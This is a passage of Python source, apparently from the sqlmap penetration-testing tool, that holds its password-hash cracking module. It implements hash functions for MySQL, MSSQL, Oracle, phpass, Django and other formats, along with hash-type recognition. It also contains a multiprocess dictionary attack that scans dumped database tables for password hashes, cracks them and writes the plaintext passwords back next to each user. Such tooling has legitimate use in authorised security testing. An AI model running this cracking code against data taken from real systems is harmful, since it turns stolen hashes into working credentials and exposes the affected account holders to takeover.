ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) def mssql_passwd(password, salt, uppercase=False): # versions '2005' and '2008' """ Reference(s): http://www.leidecker.info/projects/phrasendrescher/mssql.c https://www.evilfingers.com/tools/GSAuditor.php >>> mssql_passwd(password='testpass', salt='4086ceb6', uppercase=False) '0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a' """ binsalt = decodeHex(salt) unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) retVal = "0100%s%s" % (salt, sha1(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) def mssql_old_passwd(password, salt, uppercase=True): # version '2000' and before """ Reference(s): www.exploit-db.com/download_pdf/15537/ http://www.leidecker.info/projects/phrasendrescher/mssql.c https://www.evilfingers.com/tools/GSAuditor.php >>> mssql_old_passwd(password='testpass', salt='4086ceb6', uppercase=True) '0x01004086CEB60C90646A8AB9889FE3ED8E5C150B5460ECE8425AC7BB7255C0C81D79AA5D0E93D4BB077FB9A51DA0' """ binsalt = decodeHex(salt) unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(), sha1(unistr.upper() + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) def oracle_passwd(password, salt, uppercase=True): """ Reference(s): https://www.evilfingers.com/tools/GSAuditor.php http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/ http://seclists.org/bugtraq/2007/Sep/304 >>> oracle_passwd(password='SHAlala', salt='1B7B5F82B7235E9E182C', uppercase=True) 'S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C' """ binsalt = decodeHex(salt) password = getBytes(password) retVal = "s:%s%s" % (sha1(password + binsalt).hexdigest(), salt) return retVal.upper() if uppercase else retVal.lower() def oracle_old_passwd(password, username, uppercase=True): # prior to version '11g' """ Reference(s): http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/ >>> oracle_old_passwd(password='tiger', username='scott', uppercase=True) 'F894844C34402B67' """ IV, pad = b"\0" * 8, b"\0" unistr = b"".join((b"\0" + _.encode(UNICODE_ENCODING)) if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in (username + password).upper()) if des.__module__ == "Crypto.Cipher.DES": unistr += b"\0" * ((8 - len(unistr) % 8) & 7) cipher = des(decodeHex("0123456789ABCDEF"), CBC, iv=IV) encrypted = cipher.encrypt(unistr) cipher = des(encrypted[-8:], CBC, iv=IV) encrypted = cipher.encrypt(unistr) else: cipher = des(decodeHex("0123456789ABCDEF"), CBC, IV, pad) encrypted = cipher.encrypt(unistr) cipher = des(encrypted[-8:], CBC, IV, pad) encrypted = cipher.encrypt(unistr) retVal = encodeHex(encrypted[-8:], binary=False) return retVal.upper() if uppercase else retVal.lower() def md5_generic_passwd(password, uppercase=False): """ >>> md5_generic_passwd(password='testpass', uppercase=False) '179ad45c6ce2cb97cf1029e212046e81' """ password = getBytes(password) retVal = md5(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha1_generic_passwd(password, uppercase=False): """ >>> sha1_generic_passwd(password='testpass', uppercase=False) '206c80413b9a96c1312cc346b7d2517b84463edd' """ password = getBytes(password) retVal = sha1(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() def apache_sha1_passwd(password, **kwargs): """ >>> apache_sha1_passwd(password='testpass') '{SHA}IGyAQTualsExLMNGt9JRe4RGPt0=' """ password = getBytes(password) return "{SHA}%s" % getText(base64.b64encode(sha1(password).digest())) def ssha_passwd(password, salt, **kwargs): """ >>> ssha_passwd(password='testpass', salt='salt') '{SSHA}mU1HPTvnmoXOhE4ROHP6sWfbfoRzYWx0' """ password = getBytes(password) salt = getBytes(salt) return "{SSHA}%s" % getText(base64.b64encode(sha1(password + salt).digest() + salt)) def ssha256_passwd(password, salt, **kwargs): """ >>> ssha256_passwd(password='testpass', salt='salt') '{SSHA256}hhubsLrO/Aje9F/kJrgv5ZLE40UmTrVWvI7Dt6InP99zYWx0' """ password = getBytes(password) salt = getBytes(salt) return "{SSHA256}%s" % getText(base64.b64encode(sha256(password + salt).digest() + salt)) def ssha512_passwd(password, salt, **kwargs): """ >>> ssha512_passwd(password='testpass', salt='salt') '{SSHA512}mCUSLfPMhXCQOJl9WHW/QMn9v9sjq7Ht/Wk7iVau8vLOfh+PeynkGMikqIE8sStFd0khdfcCD8xZmC6UyjTxsHNhbHQ=' """ password = getBytes(password) salt = getBytes(salt) return "{SSHA512}%s" % getText(base64.b64encode(sha512(password + salt).digest() + salt)) def sha224_generic_passwd(password, uppercase=False): """ >>> sha224_generic_passwd(password='testpass', uppercase=False) '648db6019764b598f75ab6b7616d2e82563a00eb1531680e19ac4c6f' """ retVal = sha224(getBytes(password)).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha256_generic_passwd(password, uppercase=False): """ >>> sha256_generic_passwd(password='testpass', uppercase=False) '13d249f2cb4127b40cfa757866850278793f814ded3c587fe5889e889a7a9f6c' """ retVal = sha256(getBytes(password)).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha384_generic_passwd(password, uppercase=False): """ >>> sha384_generic_passwd(password='testpass', uppercase=False) '6823546e56adf46849343be991d4b1be9b432e42ed1b4bb90635a0e4b930e49b9ca007bc3e04bf0a4e0df6f1f82769bf' """ retVal = sha384(getBytes(password)).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha512_generic_passwd(password, uppercase=False): """ >>> sha512_generic_passwd(password='testpass', uppercase=False) '78ddc8555bb1677ff5af75ba5fc02cb30bb592b0610277ae15055e189b77fe3fda496e5027a3d99ec85d54941adee1cc174b50438fdc21d82d0a79f85b58cf44' """ retVal = sha512(getBytes(password)).hexdigest() return retVal.upper() if uppercase else retVal.lower() def crypt_generic_passwd(password, salt, **kwargs): """ Reference(s): http://docs.python.org/library/crypt.html http://helpful.knobs-dials.com/index.php/Hashing_notes http://php.net/manual/en/function.crypt.php http://carey.geek.nz/code/python-fcrypt/ >>> crypt_generic_passwd(password='rasmuslerdorf', salt='rl', uppercase=False) 'rl.3StKT.4T8M' """ return getText(crypt(password, salt)) def unix_md5_passwd(password, salt, magic="$1$", **kwargs): """ Reference(s): http://www.sabren.net/code/python/crypt/md5crypt.py >>> unix_md5_passwd(password='testpass', salt='aD9ZLmkp') '$1$aD9ZLmkp$DRM5a7rRZGyuuOPOjTEk61' """ def _encode64(value, count): output = "" while (count - 1 >= 0): count = count - 1 output += ITOA64[value & 0x3f] value = value >> 6 return output password = getBytes(password) magic = getBytes(magic) salt = getBytes(salt) salt = salt[:8] ctx = password + magic + salt final = md5(password + salt + password).digest() for pl in xrange(len(password), 0, -16): if pl > 16: ctx = ctx + final[:16] else: ctx = ctx + final[:pl] i = len(password) while i: if i & 1: ctx = ctx + b'\x00' # if ($i & 1) { $ctx->add(pack("C", 0)); } else: ctx = ctx + password[0:1] i = i >> 1 final = md5(ctx).digest() for i in xrange(1000): ctx1 = b"" if i & 1: ctx1 = ctx1 + password else: ctx1 = ctx1 + final[:16] if i % 3: ctx1 = ctx1 + salt if i % 7: ctx1 = ctx1 + password if i & 1: ctx1 = ctx1 + final[:16] else: ctx1 = ctx1 + password final = md5(ctx1).digest() hash_ = _encode64((int(ord(final[0:1])) << 16) | (int(ord(final[6:7])) << 8) | (int(ord(final[12:13]))), 4) hash_ = hash_ + _encode64((int(ord(final[1:2])) << 16) | (int(ord(final[7:8])) << 8) | (int(ord(final[13:14]))), 4) hash_ = hash_ + _encode64((int(ord(final[2:3])) << 16) | (int(ord(final[8:9])) << 8) | (int(ord(final[14:15]))), 4) hash_ = hash_ + _encode64((int(ord(final[3:4])) << 16) | (int(ord(final[9:10])) << 8) | (int(ord(final[15:16]))), 4) hash_ = hash_ + _encode64((int(ord(final[4:5])) << 16) | (int(ord(final[10:11])) << 8) | (int(ord(final[5:6]))), 4) hash_ = hash_ + _encode64((int(ord(final[11:12]))), 2) return getText(magic + salt + b'$' + getBytes(hash_)) def joomla_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/10428239 >>> joomla_passwd(password='testpass', salt='6GGlnaquVXI80b3HRmSyE3K1wEFFaBIf') 'e3d5794da74e917637332e0d21b76328:6GGlnaquVXI80b3HRmSyE3K1wEFFaBIf' """ return "%s:%s" % (md5(getBytes(password) + getBytes(salt)).hexdigest(), salt) def django_md5_passwd(password, salt, **kwargs): """ Reference: https://github.com/jay0lee/GAM/blob/master/src/passlib/handlers/django.py >>> django_md5_passwd(password='testpass', salt='salt') 'md5$salt$972141bcbcb6a0acc96e92309175b3c5' """ return "md5$%s$%s" % (salt, md5(getBytes(salt) + getBytes(password)).hexdigest()) def django_sha1_passwd(password, salt, **kwargs): """ Reference: https://github.com/jay0lee/GAM/blob/master/src/passlib/handlers/django.py >>> django_sha1_passwd(password='testpass', salt='salt') 'sha1$salt$6ce0e522aba69d8baa873f01420fccd0250fc5b2' """ return "sha1$%s$%s" % (salt, sha1(getBytes(salt) + getBytes(password)).hexdigest()) def vbulletin_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/2202810 >>> vbulletin_passwd(password='testpass', salt='salt') '85c4d8ea77ebef2236fb7e9d24ba9482:salt' """ return "%s:%s" % (md5(binascii.hexlify(md5(getBytes(password)).digest()) + getBytes(salt)).hexdigest(), salt) def phpass_passwd(password, salt, count, prefix, **kwargs): """ Reference(s): https://web.archive.org/web/20120219120128/packetstormsecurity.org/files/74448/phpassbrute.py.txt http://scriptserver.mainframe8.com/wordpress_password_hasher.php https://www.openwall.com/phpass/ https://github.com/jedie/django-phpBB3/blob/master/django_phpBB3/hashers.py >>> phpass_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$') '$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0' >>> phpass_passwd(password='testpass', salt='Pb1j9gSb', count=2048, prefix='$H$') '$H$9Pb1j9gSb/u3EVQ.4JDZ3LqtN44oIx/' >>> phpass_passwd(password='testpass', salt='iwtD/g.K', count=128, prefix='$S$') '$S$5iwtD/g.KZT2rwC9DASy/mGYAThkSd3lBFdkONi1Ig1IEpBpqG8W' """ def _encode64(input_, count): output = '' i = 0 while i < count: value = (input_[i] if isinstance(input_[i], int) else ord(input_[i])) i += 1 output = output + ITOA64[value & 0x3f] if i < count: value = value | ((input_[i] if isinstance(input_[i], int) else ord(input_[i])) << 8) output = output + ITOA64[(value >> 6) & 0x3f] i += 1 if i >= count: break if i < count: value = value | ((input_[i] if isinstance(input_[i], int) else ord(input_[i])) << 16) output = output + ITOA64[(value >> 12) & 0x3f] i += 1 if i >= count: break output = output + ITOA64[(value >> 18) & 0x3f] return output password = getBytes(password) f = {"$P$": md5, "$H$": md5, "$Q$": sha1, "$S$": sha512}[prefix] cipher = f(getBytes(salt)) cipher.update(password) hash_ = cipher.digest() for i in xrange(count): _ = f(hash_) _.update(password) hash_ = _.digest() retVal = "%s%s%s%s" % (prefix, ITOA64[int(math.log(count, 2))], salt, _encode64(hash_, len(hash_))) if prefix == "$S$": # Reference: https://api.drupal.org/api/drupal/includes%21password.inc/constant/DRUPAL_HASH_LENGTH/7.x retVal = retVal[:55] return retVal __functions__ = { HASH.MYSQL: mysql_passwd, HASH.MYSQL_OLD: mysql_old_passwd, HASH.POSTGRES: postgres_passwd, HASH.MSSQL: mssql_passwd, HASH.MSSQL_OLD: mssql_old_passwd, HASH.MSSQL_NEW: mssql_new_passwd, HASH.ORACLE: oracle_passwd, HASH.ORACLE_OLD: oracle_old_passwd, HASH.MD5_GENERIC: md5_generic_passwd, HASH.SHA1_GENERIC: sha1_generic_passwd, HASH.SHA224_GENERIC: sha224_generic_passwd, HASH.SHA256_GENERIC: sha256_generic_passwd, HASH.SHA384_GENERIC: sha384_generic_passwd, HASH.SHA512_GENERIC: sha512_generic_passwd, HASH.CRYPT_GENERIC: crypt_generic_passwd, HASH.JOOMLA: joomla_passwd, HASH.DJANGO_MD5: django_md5_passwd, HASH.DJANGO_SHA1: django_sha1_passwd, HASH.PHPASS: phpass_passwd, HASH.APACHE_MD5_CRYPT: unix_md5_passwd, HASH.UNIX_MD5_CRYPT: unix_md5_passwd, HASH.APACHE_SHA1: apache_sha1_passwd, HASH.VBULLETIN: vbulletin_passwd, HASH.VBULLETIN_OLD: vbulletin_passwd, HASH.SSHA: ssha_passwd, HASH.SSHA256: ssha256_passwd, HASH.SSHA512: ssha512_passwd, HASH.MD5_BASE64: md5_generic_passwd, HASH.SHA1_BASE64: sha1_generic_passwd, HASH.SHA256_BASE64: sha256_generic_passwd, HASH.SHA512_BASE64: sha512_generic_passwd, } def _finalize(retVal, results, processes, attack_info=None): if _multiprocessing: gc.enable() # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4367 # NOTE: https://dzone.com/articles/python-101-creating-multiple-processes for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass if retVal: removals = set() if conf.hashDB: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) results.append(item) removals.add((user, hash_)) hashDBWrite(hash_, word) for item in attack_info or []: if (item[0][0], item[0][1]) in removals: attack_info.remove(item) if conf.hashDB: conf.hashDB.endTransaction() if hasattr(retVal, "close"): retVal.close() def storeHashesToFile(attack_dict): if not attack_dict: return items = OrderedSet() for user, hashes in attack_dict.items(): for hash_ in hashes: hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if hash_ and hash_ != NULL and hashRecognition(hash_): item = None if user and not user.startswith(DUMMY_USER_PREFIX): item = "%s:%s\n" % (user, hash_) else: item = "%s\n" % hash_ if item and item not in items: items.add(item) if kb.choices.storeHashes is None: message = "do you want to store hashes to a temporary file " message += "for eventual further processing with other tools [y/N] " kb.choices.storeHashes = readInput(message, default='N', boolean=True) if items and kb.choices.storeHashes: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.HASHES, suffix=".txt") os.close(handle) infoMsg = "writing hashes to a temporary file '%s' " % filename logger.info(infoMsg) with openFile(filename, "w+") as f: for item in items: try: f.write(item) except (UnicodeError, TypeError): pass def attackCachedUsersPasswords(): if kb.data.cachedUsersPasswords: results = dictionaryAttack(kb.data.cachedUsersPasswords) lut = {} for (_, hash_, password) in results: lut[hash_.lower()] = password for user in kb.data.cachedUsersPasswords: for i in xrange(len(kb.data.cachedUsersPasswords[user])): if (kb.data.cachedUsersPasswords[user][i] or "").strip(): value = kb.data.cachedUsersPasswords[user][i].lower().split()[0] if value in lut: kb.data.cachedUsersPasswords[user][i] += "%s clear-text password: %s" % ('\n' if kb.data.cachedUsersPasswords[user][i][-1] != '\n' else '', lut[value]) def attackDumpedTable(): if kb.data.dumpedTable: table = kb.data.dumpedTable columns = list(table.keys()) count = table["__infos__"]["count"] if not count: return debugMsg = "analyzing table dump for possible password hashes" logger.debug(debugMsg) found = False col_user = '' col_passwords = set() attack_dict = {} binary_fields = OrderedSet() replacements = {} for column in sorted(columns, key=len, reverse=True): if column and column.lower() in COMMON_USER_COLUMNS: col_user = column break for column in columns: if column != "__infos__" and table[column]["values"]: if all(INVALID_UNICODE_CHAR_FORMAT.split('%')[0] in (value or "") for value in table[column]["values"]): binary_fields.add(column) if binary_fields: _ = ','.join(binary_fields) warnMsg = "potential binary fields detected ('%s'). In case of any problems you are " % _ warnMsg += "advised to rerun table dump with '--fresh-queries --binary-fields=\"%s\"'" % _ logger.warning(warnMsg) for i in xrange(count): if not found and i > HASH_RECOGNITION_QUIT_THRESHOLD: break for column in columns: if column == col_user or column == "__infos__": continue if len(table[column]["values"]) <= i: continue if conf.binaryFields and column in conf.binaryFields: continue value = table[column]["values"][i] if column in binary_fields and re.search(HASH_BINARY_COLUMNS_REGEX, column) is not None: previous = value value = encodeHex(getBytes(value), binary=False) replacements[value] = previous if hashRecognition(value): found = True if col_user and i < len(table[col_user]["values"]): if table[col_user]["values"][i] not in attack_dict: attack_dict[table[col_user]["values"][i]] = [] attack_dict[table[col_user]["values"][i]].append(value) else: attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [value] col_passwords.add(column) if attack_dict: infoMsg = "recognized possible password hashes in column%s " % ("s" if len(col_passwords) > 1 else "") infoMsg += "'%s'" % ", ".join(col for col in col_passwords) logger.info(infoMsg) storeHashesToFile(attack_dict) message = "do you want to crack them via a dictionary-based attack? %s" % ("[y/N/q]" if conf.multipleTargets else "[Y/n/q]") choice = readInput(message, default='N' if conf.multipleTargets else 'Y').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException results = dictionaryAttack(attack_dict) lut = dict() for (_, hash_, password) in results: if hash_: key = hash_ if hash_ not in replacements else replacements[hash_] lut[key.lower()] = password lut["0x%s" % key.lower()] = password debugMsg = "post-processing table dump" logger.debug(debugMsg) for i in xrange(count): for column in columns: if not (column == col_user or column == '__infos__' or len(table[column]['values']) <= i): value = table[column]['values'][i] if value and value.lower() in lut: table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER)) table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i])) def hashRecognition(value): """ >>> hashRecognition("179ad45c6ce2cb97cf1029e212046e81") == HASH.MD5_GENERIC True >>> hashRecognition("S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") == HASH.ORACLE True >>> hashRecognition("foobar") == None True """ retVal = None if value and len(value) >= 8 and ' ' not in value: # Note: pre-filter condition (for optimization purposes) isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL) if kb.cache.hashRegex is None: parts = [] for name, regex in getPublicTypeMembers(HASH): # Hashes for Oracle and old MySQL look the same hence these checks if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD: continue elif regex == HASH.CRYPT_GENERIC: if any((value.lower() == value, value.upper() == value)): continue else: parts.append("(?P<%s>%s)" % (name, regex)) kb.cache.hashRegex = ('|'.join(parts)).replace("(?i)", "") if isinstance(value, six.string_types): match = re.search(kb.cache.hashRegex, value, re.I) if match: algorithm, _ = [_ for _ in match.groupdict().items() if _[1] is not None][0] retVal = getattr(HASH, algorithm) return retVal def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist, api): if IS_WIN: coloramainit() count = 0 rotator = 0 hashes = set(item[0][1] for item in attack_info) wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) try: for word in wordlist: if not attack_info: break count += 1 if isinstance(word, six.binary_type): word = getUnicode(word) elif not isinstance(word, six.string_types): continue if suffix: word = word + suffix try: current = __functions__[hash_regex](password=word, uppercase=False) if current in hashes: for item in attack_info[:]: ((user, hash_), _) = item if hash_ == current: retVal.put((user, hash_, word)) clearConsoleLine() infoMsg = "\r[%s] [INFO] cracked password '%s'" % (time.strftime("%X"), word) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'\n" % user else: infoMsg += " for hash '%s'\n" % hash_ dataToStdout(infoMsg, True) attack_info.remove(item) elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0 or hash_regex == HASH.ORACLE_OLD or hash_regex == HASH.CRYPT_GENERIC and IS_WIN: rotator += 1 if rotator >= len(ROTATING_CHARS): rotator = 0 status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) if not api: dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) except KeyboardInterrupt: raise except (UnicodeEncodeError, UnicodeDecodeError): pass # ignore possible encoding problems caused by some words in custom dictionaries except Exception as ex: warnMsg = "there was a problem while hashing entry: %s ('%s'). " % (repr(word), getSafeExString(ex)) warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS logger.critical(warnMsg) except KeyboardInterrupt: pass finally: if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist, api): if IS_WIN: coloramainit() count = 0 rotator = 0 wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) try: for word in wordlist: if found.value: break count += 1 if isinstance(word, six.binary_type): word = getUnicode(word) elif not isinstance(word, six.string_types): continue if suffix: word = word + suffix try: current = __functions__[hash_regex](password=word, uppercase=False, **kwargs) if hash_ == current: if hash_regex == HASH.ORACLE_OLD: # only for cosmetic purposes word = word.upper() retVal.put((user, hash_, word)) clearConsoleLine() infoMsg = "\r[%s] [INFO] cracked password '%s'" % (time.strftime("%X"), word) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'\n" % user else: infoMsg += " for hash '%s'\n" % hash_ dataToStdout(infoMsg, True) found.value = True elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0: rotator += 1 if rotator >= len(ROTATING_CHARS): rotator = 0 status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) if user and not user.startswith(DUMMY_USER_PREFIX): status += " (user: %s)" % user if not api: dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) except KeyboardInterrupt: raise except (UnicodeEncodeError, UnicodeDecodeError): pass # ignore possible encoding problems caused by some words in custom dictionaries except Exception as ex: warnMsg = "there was a problem while hashing entry: %s ('%s'). " % (repr(word), getSafeExString(ex)) warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS logger.critical(warnMsg) except KeyboardInterrupt: pass finally: if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 def dictionaryAttack(attack_dict): global _multiprocessing suffix_list = [""] custom_wordlist = [""] hash_regexes = [] results = [] resumes = [] user_hash = [] processException = False foundHash = False if conf.disableMulti: _multiprocessing = None else: # Note: https://github.com/sqlmapproject/sqlmap/issues/4367 try: import multiprocessing # problems on FreeBSD (Reference: https://web.archive.org/web/20110710041353/http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx) _ = multiprocessing.Queue() # problems with ctypes (Reference: https://github.com/sqlmapproject/sqlmap/issues/2952) _ = multiprocessing.Value('i') except (ImportError, OSError, AttributeError): pass else: try: if multiprocessing.cpu_count() > 1: _multiprocessing = multiprocessing except NotImplementedError: pass for (_, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ regex = hashRecognition(hash_) if regex and regex not in hash_regexes: hash_regexes.append(regex) infoMsg = "using hash method '%s'" % __functions__[regex].__name__ logger.info(infoMsg) for hash_regex in hash_regexes: keys = set() attack_info = [] for (user, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue foundHash = True hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): try: item = None if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): hash_ = hash_.lower() if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}] elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): if hash_.startswith("0x"): # Reference: https://docs.microsoft.com/en-us/sql/t-sql/functions/hashbytes-transact-sql?view=sql-server-2017 hash_ = hash_[2:] item = [(user, hash_), {}] elif hash_regex in (HASH.SSHA,): item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[20:]}] elif hash_regex in (HASH.SSHA256,): item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[32:]}] elif hash_regex in (HASH.SSHA512,): item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[64:]}] elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): item = [(user, hash_), {'username': user}] elif hash_regex in (HASH.ORACLE,): item = [(user, hash_), {"salt": hash_[-20:]}] elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW): item = [(user, hash_), {"salt": hash_[6:14]}] elif hash_regex in (HASH.CRYPT_GENERIC,): item = [(user, hash_), {"salt": hash_[0:2]}] elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT): item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}] elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD): item = [(user, hash_), {"salt": hash_.split(':')[-1]}] elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): item = [(user, hash_), {"salt": hash_.split('$')[1]}] elif hash_regex in (HASH.PHPASS,): if ITOA64.index(hash_[3]) < 32: item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}] else: warnMsg = "invalid hash '%s'" % hash_ logger.warning(warnMsg) if item and hash_ not in keys: resumed = hashDBRetrieve(hash_) if not resumed: attack_info.append(item) user_hash.append(item[0]) else: infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'" % user logger.info(infoMsg) resumes.append((user, hash_, resumed)) keys.add(hash_) except (binascii.Error, TypeError, IndexError): pass if not attack_info: continue if not kb.wordlists: while not kb.wordlists: # the slowest of all methods hence smaller default dict if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] message = "what dictionary do you want to use?\n" message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0] message += "[2] custom dictionary file\n" message += "[3] file with list of dictionary files" choice = readInput(message, default='1') try: if choice == '2': message = "what's the custom dictionary's location?\n" dictPath = readInput(message) if dictPath: dictPaths = [dictPath] logger.info("using custom dictionary") elif choice == '3': message = "what's the list file location?\n" listPath = readInput(message) checkFile(listPath) dictPaths = getFileItems(listPath) logger.info("using custom list of dictionaries") else: logger.info("using default dictionary") dictPaths = [_ for _ in dictPaths if _] for dictPath in dictPaths: checkFile(dictPath) if isZipFile(dictPath): _ = zipfile.ZipFile(dictPath, 'r') if len(_.namelist()) == 0: errMsg = "no file(s) inside '%s'" % dictPath raise SqlmapDataException(errMsg) else: _.open(_.namelist()[0]) kb.wordlists = dictPaths except Exception as ex: warnMsg = "there was a problem while loading dictionaries" warnMsg += " ('%s')" % getSafeExString(ex) logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " if readInput(message, default='N', boolean=True): suffix_list += COMMON_PASSWORD_SUFFIXES infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].__name__ logger.info(infoMsg) for item in attack_info: ((user, _), _) = item if user and not user.startswith(DUMMY_USER_PREFIX): custom_wordlist.append(normalizeUnicode(user)) # Algorithms without extra arguments (e.g. salt and/or username) if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): for suffix in suffix_list: if not attack_info or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api)) processes.append(process) for process in processes: process.daemon = True process.start() while count.value > 0: time.sleep(0.5) else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled") singleTimeWarnMessage(warnMsg) retVal = _queue.Queue() _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api) except KeyboardInterrupt: print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warning(warnMsg) finally: _finalize(retVal, results, processes, attack_info) clearConsoleLine() else: for ((user, hash_), kwargs) in attack_info: if processException: break if any(_[0] == user and _[1] == hash_ for _ in results): continue count = 0 found = False for suffix in suffix_list: if found or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg 